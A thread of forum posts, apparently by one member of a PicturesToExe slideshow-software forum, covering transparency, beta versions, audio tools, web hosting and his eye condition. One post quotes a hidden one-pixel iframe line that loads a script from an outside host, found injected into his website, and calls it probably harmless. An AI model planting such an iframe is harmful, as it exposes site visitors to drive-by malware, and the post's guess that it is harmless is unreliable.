Lin Evans

Hi Suzy, PTE works a little differently than what you are used to. You have unlimited layers (limited only by your hardware) in PTE but you need to use PNG rather than PSD files if you want a transparent background. You "can" use transparent GIF files, but PNG is much superior because you are limited to 256 colors with GIF and PNG has no real practical limit. Since you have complete transparency control over each layer in PTE 5.0 beta, there is no need to prepare most images in Photoshop, etc., unless you want a transparent background (floating image) then you do that in Photoshop or other software. Regular jpg files can be made transparent, etc., in PTE by simply adjusting the opacity of the file. For example if you wanted a white background with a ghost-like image showing through, you could simply put a white jpg on one layer and your choice of other file in another and adjust the opacity to the desired degree to see the effect you wish. Of course if you want to have variable transparency in particular places in the image then you need to do that in Photoshop and save as either a jpg or png then use the file in PTE. If you will let us know what you are trying to achieve, perhaps some of us on the forum can suggest the easiest way to achieve your goals. Best regards, Lin

Hi Peter, Thanks! After my appointment yesterday with the opthamologist I'm very confident that my vision will return to normal soon. I don't wear glasses but using the testing equipment even through the haze of floaters my vision measured 20/20 (corrected) for each eye so perhaps I'll soon be fitted with glasses - HA! At 64 years I suppose it's time... Just be thankful you don't have to peer through the "real thing" complete with sub zero temperatures, high wind and snow freezing around your face - LOL. We love the snow, but have had about enough for now so praying for warmer weather soon... Best regards, Lin Thanks Al, after my appointment I'm much more confident of a full recovery. There was no retinal damage and the number and density of floaters has greatly diminished already so things are "looking good" (pun intended)... Best regards, Lin

Never mind - this is too strange - LOL. When all else fails try a re-boot. After a cold boot it works perfectly. I think my development computer is suffering age related defficiencies just like its owner - HA! ----------------------------------- Since several have used and commented on JPD's template, I was wondering if anyone else is having problems reading the pte file? When I unzip and open screensaver.pte in beta 5u I soon get a lockup and "program not responding" error from PTE. I would assume I'm either missing something or a file is corrupted but I've downloaded, erased, downloaded, unzipped and erased the zip file several times. I see the file list but as soon as I try to go to Objects and Animations, etc., it crashes. At the bottom, the file list shows HPIM0047 as the last file, so perhaps ...0048 is problematic for pte on my system, but I can it and all others plainly using Irfanview, so it's not making a lot of sense to me.?? Best regards, Lin

Hi Cindy, It's a problem which seems to be going around lately and I suspect it's caused by a worm on your web site host's server. I had a very similar incident in the past few days. I had to get a new host and move about 20 gigabytes of code to the new server. For 24 hours everything worked perfectly then suddenly every time anyone would call up my website they would get a warning from Internet Explorer which indicated that a program was attempting to download a Java script to their hard drive. I checked my index.htm and index1.htm files (I have frames) and found a single line of code as follows: <iframe src=http://x-road.co.kr/rich/out.php width=1 height=1></iframe> This small line of code calls a Java script which loads on one's hard drive and contacts a Google link which has to do with ads. I doubt that it's in any way dangerous but primarily a P.I.T.A. to have to search and fix. I contacted my host and warned them to look for a worm or possibly a breach of security which has allowed a web crawler or spyder to infiltrate the server and modify the index files it finds. Best regards, Lin

Hi Ken, Thanks! It's nice to be able to see enough to get the timings right - LOL... Lin Hey Al, Remember the old Johnny Horton song - When It's Spring Time in Alaska, It's 40 Below? That's about what it's been feeling like here lately - LOL. Up in the high country it never melts around here and the snows continue until June and start up again in September. I'm getting tired of "white" - nothing to photograph which doesn't have white all over it - HA! The eye is rapidly improving now - much quicker than expected and on the good side of the curve. I have an appointment with the doctor in the morning and I think he will be surprised at the changes so probably will be able to get back to work maybe as soon as next week. Best regards, Lin

A 16 meg zipped executable expanding on the Two Minutes of Solace demo with Rocky Mountain spring snow and Colorado Rocky Mountain Wildlife..... http://www.lin-evans.net/p2e/rockymountainspring.zip Lin

Hi Sharon, First, welcome to the PTE forums! As I told you on the PSP forum, there is no reason with the tiny financial investment in PTE why you shouldn't be able to use both PSP and PTE to create superior slideshows. I will take a little different approach with my advice than most. With the full agreement that you should download, learn and use the latest release version of PicturesToExe (4.48), I believe you should also download the latest beta of 5.0 and begin to use it as well. I assume you were drawn to PSP by the upgrade features over PSG. I've used and followed Photodex's products (I was a beta tester for Proshow before Photodex released their first product) since their inception and PSP offered major features advantages over PSG. It's a wonderful program with myriad features, but also, in my opinion, plagued by numerous bugs perhaps caused by a rush to market. There is a bit of a different operational philosophy with PicturesToExes which leads the developers to allow everyone the opportunity to beta test this very fine product and provide their input which is carefully considered and often incorporated. This has resulted in a fairly lengthy beta test cycle which is nearing completion, but also results in a very bug-free (as free of bugs as any software can be) product! As others have said, there are still many features which have yet to be introduced but the majority will find their way into the beta 9 version. But even without these features, the present beta is quite capable of producing superior presenations as you have or will undoubtedly see very soon. So since the very things which probably prompted you to upgrade from Gold to Producer are present (unlimited layers, complete control of opacity within a layer, etc.) are included in the present beta, I believe you will be better served by jumping in and begining to learn the tremendous features available in the version 5 betas. PicturesToExe has always been a "nuts and bolts" approach as compared to the feature rich but "canned" approach of the Photodex products. Let me try to explain what I mean by this. With Photodex products, you get a wonderful menu of choices which let you have a broad range of tools - but these tools are fixed. With PTE you get a "tool" which will allow you to build your slideshow presentation and achieve the effects you desire but make it possible to do this the way "you" want rather than the way the developer thinks you should. It's often been said that a machine shop lathe is the one tool which is indispensable because with it you can build all the other tools and also any tool which you might envision. PTE is like the lathe, it's a tool which allows you to build and use other tools. So there is a place for each approach. Your PSP is a wonderful program with myriad bells and whistles but limited in its flexibility. PTE is a program which doesn't have all the built-in bells and whistles of PSP, but lets you achieve the same end and beyond by virtue of its extreme flexibility. As you questioned on the PSP forum - why is PTE so powerful and so inexpensive? The answer is that every so often a true value comes along in the software industry where the developers are not driven by "only" the profit motive but rather by the pride of producing the finest product of its kind available. Obviously Igor and his development team would also like to make a nice income - don't we all? But they believe that by producing a truly remarkable product at a very fair price they will attract those who recognize a true value when they see one and that the numbers of such people will provide them with a sufficient market share and that everyone will then be happy and its a win/win situation. So by all means download the beta as well. Read the numerous get-started PDF tutorials and AV tutorials and soon you will become proficient with both PSP and PTE and between the two there is little you can't achieve in the way of presentation slideshows. As others have said, there are many things which are just easier to do in PTE than in PSP and for those things it's the superior tool. Don't feel bad for investing in the PSP upgrade over PSG because PSP offers a world of new innovation. But don't miss the opportunity to purchase what I think is the best deal available in software today - PicturesToExe. The forum members are both willing and able to help you over the bumps and get you started on the road to success in your goals. Right now your goal seems to get this project you have on the drawing book accomplished and to that end you don't need to be learning how to do complicated things and waiting until JPD and theDom have their templates ready. Since PSP allows drop in movie clips, you may want to possibly look into this program and perhaps use it if suitable to quickly achieve your goal. Meanwhile, by all means pursue PTE because in the long run it's going to be the product which works best. Here's a link: http://www.outerspace-software.com/bixphot...k.html#examples Best regards, Lin

Hi Jean Pierre, Extraordinary! I'm especially impressed with the subtle things which might go unrecognized but adds so much to the authenticity such as the very subtle shadow masking in the center of the album so that the lighting effect follows the natural inclination to light the inside border surrounding the photo on each page as that page is turned. This as well as other subtle lighting changes show the extreme attention to detail which you have used and makes this a very unique and professional presentation! BRAVO! Best regards, Lin

Hi Guys, Thanks - just consumed with snow I guess - LOL. Glad some of it made its way to Canada! This has been the week from hell for me. My "former" web host (iPower) some time ago developed a problem with the FTP protocol on my server which prevented my normal FTP software (WSFTP Pro) from downloading or uploading more than about 3 megabytes before failing. So to upload or download any reasonable sized file I had to do it in stages and often they became fragmented. I finally found another program "FTP Commander" which had a less rigorous FTP protocol and it got around the problems which iPower couldn't seem to resolve. Three days ago FTP Commander simply would no longer work at all so I was unable to upload or download files from my site at all. Both FTP Commander and WSFTP Pro worked perfectly on every other server so the problem was indeed limited to the one hosting my website. I called iPower and asked them to move my site to another server and they gave me the run-around begining with "your files are probably corrupted" and "it will take a minimum of 72 hours and we will have to call in outside services and charge you $50 to do that". Then the story was "we can put in a service ticket and someone will return your call in 72 hours". My response was that if my "files" were corrupted, it was because of iPower's issues and their responsibility to see that they were not. Of course if they were corrupted my site would have been down - so the technical incompetence of their support team was truly exposed. I explained that since it was their issue they should move my site to a working server and I should not pay for their issues. I asked them how they would like it if their business were closed for a week (three days plus another 72 hours, etc.) and they had no income? They didn't see the relevance - LOL. Anyway I gave them the boot and moved 20 gigabytes of files to a new web host (1and1.com) which is up and running fine today thanks to help from Sherry. This not being able to see thing is getting old quickly and couldn't have happened at a worse time. I'm very happy with 1and1 so far - 200 gigabytes of storage, 2000 gigabytes per month of transfer bandwidth, etc., with a tremendous package for under $10 per month. Right now they are having a great offer of $5.95 per month for the first six months then back to $9.95 per month. They bill quarterly and you only have to sign up for one year for this business package. I'm extremely happy with the overall response - great tech support, great sales support, seems to me like a really great deal so now if I could just "see" well enough to work again - HA! Fortunately, my "lightning" flashes have grealy diminished and I can read for longer periods without going "nuts" so hopefully will be back in a month or so to normal. Here's a link to 1and1 for anyone interested: http://order.1and1.com/xml/order;jsessioni...3841E9923.TC61a Best regards, Lin

http://www.lin-evans.net/p2e/twominutesofsolace.zip about 4 meg.... Lin

Hola Silvia, ¡Muchas Gracias! Tengo alegre oír que su problema con sus ojos respondió bien al tratamiento y que usted está muy bien ahora (solamente algunos misquitoes). Usted me ha dado mucho estímulo. Recuerdos & perdone por favor mi español pobre - muchos años desde universidad Lin

Hi all and thanks for the support. My wife Sherry is kind enough to type this and include an article explaining what happened to my left eye. Hopefully the huge floater an thousands of tiny ones which obscure my vision will eventually be absorbed though the article below doesn't give much indication that this is likely to happen. On the other hand my Opthamologist said they would be absorbed and after some time will no longer be a problem so I'm not sure who is right. The extreme lightning effect every time I move my eyes to scan (read) is the major problem right now. It's very disconcerting and makes reading for more than about 20 seconds intolerable even though my right eye is fine. Even with a patch over my left eye I still have the extreme flashes which the doctor has said should disappear within 2 weeks to 2 months. So that's where I'm at right now. It's just too difficult to read for more than a few seconds so it makes working at the computer very difficult. When one is "addicted" to the computer it's a tough pill to swallow, but I'm doing the best I can - lots of people have many more serious issues so I've very happy nothing more has happened and hope to be back in a couple of months. Sherry reads the threads to me every day but I'm sure that this will grow tiresome - LOL Thanks again, Lin posterior vitreous detachment (PVD) With age, the vitreous humor changes from a gel to a liquid. As it does so, the vitreous mass gradually shrinks and collapses, separating and falling away from the retina. This is called a "posterior vitreous detachment" (PVD) and is a normal occurrence between ages 40 and 70. Commonly, a person having experienced a PVD will report seeing flashing lights and/or floaters in his or her field of vision. The flashes of light occur as the vitreous tugs on the sensory layer of the retina as the vitreous is detaching. The floaters—which are cells or debris released when the vitreous detaches—can appear as little dots, circles, lines, cobwebs, or clouds. They especially can be apparent when looking at a bright background, as the light entering the eye casts shadows of the floaters onto the retina. Sometimes a large, single floater actually can obstruct print that is being read. The observance of flashes and floaters can last two or more weeks. Even episodes lasting as long as six months can occur. It is said that the percent chance of having a vitreous detachment is at least the same as one’s age. However, a PVD may occur earlier than normal in moderately to extremely nearsighted people, as well as in people who have had cataract surgery. A dilated eye exam should be performed to make sure the symptoms are not due to a retinal detachment, which is a much more serious and potentially sight-threatening condition. floaters (muscae volitantes) As a posterior vitreous detachment (PVD) occurs—that is, as the vitreous fluid separates from the retina—organic debris or particles known as "floaters" are released. Another name for floaters is "muscae volitantes" (flying flies). Most floaters are merely compressed cells or strands of the vitreous gel which have clumped together so that they are less transparent than the rest of the vitreous. Some floaters are remnants of the hyaloid artery, which usually disintegrates before birth. These types of floaters are harmless. Floaters sometimes interfere with vision, often during reading, and they can be quite annoying. If a floater appears directly in the line of sight, the best thing to do is to move the eye from side to side or up and down. Doing so can create a current within the internal fluids to move the floater temporarily away from the line of sight. If a floater is suspended in a portion of vitreous humor which is very viscous, it can be very persistent and bothersome. Unfortunately, in most instances, there is nothing to do but learn to tolerate the floater’s presence. Surgical removal is considered only in the most extreme cases. Usually, the vitreous makes a clean break as it pulls away from the retina. Occasionally, however, the vitreous adheres tightly onto the retina in certain places; and a small, often horseshoe-shaped tear in the retina can result from persistent tugging by the vitreous. Unless the retinal tear is repaired, fluid can seep through this hole into or underneath the retina and cause a retinal detachment, a very serious, sight-threatening condition. As the vitreous membrane tugs on the retina, at points where the two structures remain attached, the tension can cause "flashing" sensations. Occasional flashes of light usually are nothing to be concerned about, unless they increase in frequency and occur in conjunction with a sudden onset of a large number of floaters, in which case a retinal detachment may have occurred.

Hi John, Possibly, I should defer this question to Igor because I'm not sure. I do know that WMA doesn't work right now. I think you can use Audacity to convert from WMA to MP3... Best regards, Lin

Hi guys & gals, I've suffered an eye trauma which will prevent me from much in the way of forum participation for possibly a couple months depending on how recovery progresses. It's nothing permanent but my vision is greatly affected temporarily and it makes it difficult to see what I'm doing. I apologize to those whom I promised more AV Tutorials on how to implement the snow effects, etc. I'll try to keep working on it if I can make out the screen but it's slow going right now.... Best regards, Lin

You only need one blank slide, just determine the amount of time you want it to remain blank, set the display time for that particular slide to the time you need then add than much silence in Audacity to your last music selection. Lin

For now, use Audacity to add silence to the end or the last music selection. It's very easy to do.... Lin

Hi Fred, I don't know any free ones, but the one I use seems to work very well and it's only $20. If you want to have a look here's the link: http://www.onestopsoft.com/ Look for the Video Decompiler among their other products.. Lin

Hi Glenys, There is one other way to do this, especially if it's a short video clip. You can use an inexpensive video decompiler to extract the still frames from a short AVI which are converted by the decompiler to jpg files then insert these frames as a sequence in PTE. You set the effects off and the speed for each frame to about 50ms. PTE will play the video portion as a sequence of individual frames. The program will do a satisfactory job of video emulation this way. I wouldn't recommend this for long video segments because the overhead in file size gets substantial, but I've found it works quite well for short clips. If you've looked at my "effects" sample, the introduction, rain sequence and ending were all done this way. A few frames are being skipped, but usually you can't tell the difference. If you are not going to be doing this type thing frequently and you are willing to post a link to the AVI file for the video I would be glad to decompile it for you, test it and zip up the individual jpgs and post a link to them for you. Best regards, Lin

Hi John, What type music file are you using? If it's not an mp3 this could be the problem. I would take out the music and try different selections one at a time. It sounds like perhaps one of the music files is the culprit. Best regards, Lin

I really don't know - it "seems" that it would be as easy as with 4.48 since there is already a background gradient and solid, but without knowing how the code is written it's just a wild guess. Best regards, Lin

I output it as an animated GIF to see how it would look, then opend the GIF in ImageReady and exported the individual layers as files set in PTE at 70ms each. I duplicated the first image for image one and for the last and set the display time on that individual image to 4 seconds. Yes, it would be easy enough to do but you can export the animated GIF as "transparent" then do the same with ImageReady or other similar software to have a transparent GIF sequence which could then be overlaid one image at a time on a different background. I suppose it would be easy enough to just "step through" a sequence and export each step as a transparent PNG and do the same thing. Perhaps when Igor gets time he might allow a jpg rather than a "blank" or "gradient" background. This would then make it really easy. Best regards, Lin

Hi Al, I think you would like XARA 3D - it's especially useful with XARA Extreme as well - I use both but hadn't considered using it for PTE since the output for PNG is only a single frame rather than animated, but you can output animated GIF and use Image Ready to sequence the slides back to movie format. It's really an easy program to use and more powerful in many ways than some really expensive tools. It's certainly "quicker" to produce quality output because what you see is what you get and it's in real time. The down side is that there is no provision for using your own jpg backgrounds. There are a wide variety of texture and solid colors can be easily created in any color but it would be nice to export a transparent animated GIF on a background of choice. Perhaps later they may do this - the program's in its sixth version now. I updated my effects to add an XARA opening - about 40 meg: http://www.lin-evans.net/pte/effects2.zip Best regards, Lin

Hi Azmi, Yes, XARA 3D is a very nice program, especially for creating headers and such - it's different in intent and purpose from Wild FX Pro but very useful as well. Thanks for the reminder. Best regards, Lin

Very few people have issues running version five betas - we have seen thousands of systems throughout the U.S. on which any version five beta produced show plays perfectly. The "complexity" of the program has absolutely nothing to do with issues which have been discussed. Resources on some systems, especially those in parts of Europe have required that shows be built with careful attention to not stressing the capabilities of 32 meg video cards. In the U.S., the vast majority of computers have been able to run all shows which were created with absolutely no issues and the soon to become a staple operating system, Windows Vista, absolutely requires hardware which is more than capable of running the most demanding PTE slideshows. Once a show has been converted to DVD, it doesn't matter about these limited resources on some systems because the shows play on any commercial DVD player as well as on computers. The release version, as you are undoubtedly aware, will have both the old and new graphics engine and on systems which have less than desirable graphics environments the show will still play as PTE shows have always played. There is no other presentation slideshow program available (I have every major presentation slideshow program myself) which I have ever used which offers the high quality, high resolution image capability of PTE. The development has progressed at a very reasonable pace and the developers have been kind enough to let hundreds if not thousands of users use and test the beta products which produce a much more bug-free product than the competition. Have you actually "tried" the beta versions yourself? Have you looked at the extremely detailed and wonderfully animated creations which Jean-Pierre has demonstrated which run perfectly on "any" computer, even Jean-Pierre's own very video challenged 32 meg RAM system? Your fears are unfounded - version five will be the finest presentation slideshow software available at any price for those who want superior performance. None of the "jerky" movement of the competition in pans - bereft of the multiple bugs and issues which plague some of the most popular slideshow programs. Version 5 of PTE will not be "released" as a finished product while it's obviously still a beta product as some of the competition have done with their latest versions. Calling a product a "release" while the developers are still furiously trying to work out bugs and issues and thus releasing numerous "patches" in a very short period after the release announcement is nothing more than a marketing ploy which is not making a number of users very happy right now. Take heart that version five is very nearly a finished product and take confidence that when it's released it will qualify as a "release" product, not a late beta masquerading as a release product. Best regards, Lin

Yes, there is an amazing amount which can be done with the programming capabilities that exist. Of course the external software designed for specific tasks such as animated text creation make it ever so much easier to have really sophisticated and fancy text effects. The two I chose for this demo are very elementary compared to the many hundreds available which are truly amazing. There are nearly an infinite number of effects which can quickly be generated and used in PTE. Each effect can be modified by a number of parameters including the use of any resident fonts on the computer, fill colors, outlines, variable letter and line space and delay, reverse text display, etc. The ability of PTE to display sequential images at high frame rates gives it abilities beyond simply dropping in a low resolution video clip. With its high resolution capabilities, high resolution video output can be simulated which opens a whole new array of opportunity. Best regards, Lin Hi Tom, There are great opportunities for some very sophisticates shows. This tool (PTE) actually surpasses many of the older animation generation of software I've used over the years and it's not really designed specifically for that purpose. Neat goldfish video! Lin